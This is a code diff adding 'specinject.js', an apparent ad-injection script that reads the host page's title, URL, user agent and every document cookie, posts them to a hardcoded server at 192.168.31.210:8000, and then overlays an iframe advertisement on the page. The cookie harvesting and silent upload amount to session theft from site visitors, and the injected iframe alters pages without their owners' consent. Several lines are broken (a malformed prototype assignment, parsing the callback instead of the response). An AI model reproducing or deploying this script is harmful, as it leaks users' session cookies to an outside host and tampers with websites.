|
@@ -0,0 +1,129 @@
|
|
|
+window.SpecInject = {};
|
|
|
+(function(){
|
|
|
+ //Change File Name
|
|
|
+ var protocol = ('https:'==window.location.protocol)?'https://':'http://';
|
|
|
+ var requestURL = protocol+'192.168.31.210:8000/post';
|
|
|
+
|
|
|
+ var __FILENAME__ = 'specinject.js'
|
|
|
+ var __FILE__, scripts = document.getElementsByTagName("script");
|
|
|
+ for(var i=0;i<scripts.length;i++){
|
|
|
+ var src =scripts.item(i).getAttribute("src");
|
|
|
+ if(src&&src.match(__FILENAME__)){
|
|
|
+ __FILE__=src;break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if(!__FILE__) return;
|
|
|
+ var attribute = __FILE__.split('?')[1];
|
|
|
+ if(!attribute) return;
|
|
|
+ attribute = attribute.split('&');
|
|
|
+ var tmpObj = {};
|
|
|
+ for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
|
|
|
+ //Params
|
|
|
+ var ADID = tmpObj['aid'],
|
|
|
+ ADTYPE = tmpObj['type'];
|
|
|
+ if(!ADID || !ADTYPE) return;
|
|
|
+ var browser={
|
|
|
+ versions:function(){
|
|
|
+ var u = navigator.userAgent, app = navigator.appVersion;
|
|
|
+ return {
|
|
|
+ mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
|
|
|
+ ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
|
|
|
+ android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器
|
|
|
+ iPhone: u.indexOf('iPhone') > -1 , //是否为iPhone或者QQHD浏览器
|
|
|
+ iPad: u.indexOf('iPad') > -1, //是否iPad
|
|
|
+ webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
|
|
|
+ weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增)
|
|
|
+ version:u.match(/Version\/(\d+\.+\d+)/)[1]
|
|
|
+ };
|
|
|
+ }(),
|
|
|
+ language:(navigator.browserLanguage || navigator.language).toLowerCase()
|
|
|
+ }
|
|
|
+ var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
|
|
|
+
|
|
|
+ var xmlhttp;
|
|
|
+ xmlhttp = new XMLHttpRequest();
|
|
|
+
|
|
|
+ var getJSADParam = {
|
|
|
+ mediatitle:document.querySelector('title').innerHTML,
|
|
|
+ mediakeyword:keywords?keywords.getAttribute('content'):'',
|
|
|
+ mediaurl:window.location.href,
|
|
|
+ mediakey:ADID,
|
|
|
+ tertype:browser.versions.ios?1:browser.versions.android?0:2,
|
|
|
+ useragent:navigator.userAgent,
|
|
|
+ browserversion:browser.versions.version,
|
|
|
+ browserlanguage:browser.language,
|
|
|
+ cookies:JSON.stringify(getCookies())
|
|
|
+ }
|
|
|
+ function parseData(obj){
|
|
|
+ var formData = new FormData();
|
|
|
+ for(var attr in obj){
|
|
|
+ formData.append(attr,obj[attr]);
|
|
|
+ }
|
|
|
+ return formData;
|
|
|
+ }
|
|
|
+ function getADHandler(data){
|
|
|
+ if(data.status!=1) return;
|
|
|
+ data = data.data;
|
|
|
+ if(!data.adurl) return;
|
|
|
+ var style = document.createElement('style');
|
|
|
+ style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
|
|
|
+ var script = document.createElement('script');
|
|
|
+ script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
|
|
|
+ var doms = document.createElement('div');
|
|
|
+ doms.id = '__ADInject__';
|
|
|
+ doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+data.adurl+'" />';
|
|
|
+ document.body.appendChild(style);
|
|
|
+ document.body.appendChild(script);
|
|
|
+ document.body.appendChild(doms);
|
|
|
+ }
|
|
|
+ //Ajax Post
|
|
|
+ function post(URL,data,callback){
|
|
|
+ xmlhttp.open("POST",URL);
|
|
|
+ xmlhttp.onreadystatechange = function() {
|
|
|
+ if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
|
|
|
+ var reponse = null;
|
|
|
+ if(xmlhttp.responseText){
|
|
|
+ try{
|
|
|
+ response = JSON.parse(callback);
|
|
|
+ }catch(e){log(e)}
|
|
|
+ }
|
|
|
+ callback(response);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ xmlhttp.send(data);
|
|
|
+ }
|
|
|
+
|
|
|
+ //COOKIES get & set
|
|
|
+ function getCookie(c_name){
|
|
|
+ if (document.cookie.length>0){
|
|
|
+ c_start=document.cookie.indexOf(c_name + "=");
|
|
|
+ if (c_start!=-1){
|
|
|
+ c_start=c_start + c_name.length+1;
|
|
|
+ c_end=document.cookie.indexOf(";",c_start);
|
|
|
+ if (c_end==-1) c_end=document.cookie.length;
|
|
|
+ return unescape(document.cookie.substring(c_start,c_end));
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return null;
|
|
|
+ }
|
|
|
+ function getCookies(){
|
|
|
+ var obj = {};
|
|
|
+ if (document.cookie.length>0){
|
|
|
+ var cookie = document.cookie.split('; ');
|
|
|
+ for(var i in cookie){
|
|
|
+ var par = cookie[i].split('=');
|
|
|
+ obj[par[0]] = par[1];
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return obj;
|
|
|
+ }
|
|
|
+ function setCookie(c_name,c_value,c_exp){
|
|
|
+ var exp = c_exp?';expires='+c_exp:'';
|
|
|
+ document.cookie = c_name+'='+c_value+exp+';path=/';
|
|
|
+ }
|
|
|
+
|
|
|
+ post(requestURL,parseData(getJSADParam),getADHandler);
|
|
|
+ window.SpecInject.prototype.feedback(action)(){
|
|
|
+
|
|
|
+ }
|
|
|
+})();
|